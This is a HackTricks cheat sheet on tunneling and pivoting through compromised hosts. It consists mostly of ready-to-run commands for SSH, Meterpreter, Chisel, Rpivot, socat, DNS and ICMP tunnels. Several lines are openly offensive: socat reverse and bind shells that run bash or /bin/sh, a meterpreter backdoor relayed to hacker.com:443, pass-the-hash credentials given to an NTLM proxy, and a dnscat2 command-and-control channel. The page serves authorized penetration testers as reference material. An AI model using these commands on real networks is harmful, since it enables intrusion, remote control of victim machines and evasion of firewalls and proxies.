hacktricks/tunneling-and-port-forwarding.md

# Tunneling and Port Forwarding

## **SSH**

SSH graphical connection \(X\)

```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```

### Local Port2Port

Open new Port in SSH Server --&gt; Other port

```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```

```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```

### Port2Port

Local port --&gt; Compromised host \(SSH\) --&gt; Third\_box:Port

```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host 
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```

### Port2hostnet \(proxychains\)

Local Port --&gt; Compromised host\(SSH\) --&gt; Wherever

```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```

### VPN-Tunnel

You need **root in both devices** \(as you are going to create new interfaces\) and the sshd config has to allow root login:  
`PermitRootLogin yes`  
`PermitTunnel yes`

```bash
ssh username@server -w any:any #This wil create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
```

Enable forwarding in Server side

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```

Set new route on client side

```text
route add -net 10.0.0.0/16 gw 1.1.1.1
```

## SSHUTTLE

You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.  
Example, forwarding all the traffic going to 10.10.10.0/24

```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```

## Meterpreter

### Port2Port

Local port --&gt; Compromised host \(active session\) --&gt; Third\_box:Port

```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```

### Port2hostnet \(proxychains\)

```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 2552.55.255.0 8)
use auxiliary/server/socks4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```

Another way:

```bash
background #meterpreter session
use post/windows/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks4a
run #Proxy port 1080 by default
```

## reGeorg

[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)

You need to upload a web file tunnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp

```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```

## Chisel

[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)

Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go \(golang\). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.

You can do port forwarding \(bind & reverse\), create a socks proxy \(bind & reverse\).

```bash
root@kali:/opt# git clone https://github.com/jpillora/chisel.git
Cloning into 'chisel'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118
Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done.
Resolving deltas: 100% (416/416), done.

root@kali:/opt/chisel# ./chisel --help

  Usage: chisel [command] [--help]

  Version: 0.0.0-src

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

  Read more:
    https://github.com/jpillora/chisel
```

![](https://0xdf.gitlab.io/img/chisel-2.webp)

Read more:

* [https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html](https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html) \(Blog by Oxdf\)
* [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
* [https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s](https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s) \(HTB Reddish by ippsec\)
* [https://0xdf.gitlab.io/2019/01/26/htb-reddish.html](https://0xdf.gitlab.io/2019/01/26/htb-reddish.html) \(HTB Reddish by 0xdf\)

## Rpivot

[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)

Reverse tunnel. The tunnel is started from the victim.  
A socks4 proxy is created on 127.0.0.1:1080

```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```

```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```

Pivot through **NTLM proxy**

```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```

```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```

## **Socat**

[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)

### Bind shell

```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```

### Reverse shell

```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```

### Port2Port

```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &
```

### Port2Port through socks

```bash
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```

### Meterpreter through SSL Socat

```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```

```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```

You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:

```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```

[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)

### SSL Socat Tunnel

**/bin/sh console**

Create certificates in both sides: Client and Server

```bash
# Execute this commands in both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```

```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```

### Remote Port2Port

Connect the local SSH port \(22\) to the 443 port of the attacker host

```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost 
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```

## Plink.exe

It's like a console PuTTY version \( the options are very similar to a ssh client\).

As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:

```bash
plink.exe -l <Our_valid_username> -pw <valid_password> -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```

## NTLM proxy bypass

The previously mentioned tool: **Rpivot**  
**OpenVPN** can also bypass it, setting these options in the configuration file:

```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```

### Cntlm

[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)

It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.  
Example that forward port 443

```text
Username Alice 
Password P@ssw0rd 
Domain CONTOSO.COM 
Proxy 10.0.0.10:8080 
Tunnel 2222:<attackers_machine>:443
```

Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.  
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.

## YARP

A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)

## DNS Tunneling

### Iodine

[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)

Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.

```text
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```

The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:

```text
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```

### DNSCat2

Establishes a C&C channel through DNS. It doesn't need root privileges.

```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
```

**Port forwarding with dnscat**

```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```

#### Change proxychains DNS

Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** \(hardcoded\). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.

## Tunnels in Go

[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)

## ICMP Tunneling

### Hans

[https://github.com/friedrich/hans](https://github.com/friedrich/hans)  
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)

Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.

```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```

## Other tools to check

* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
* [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)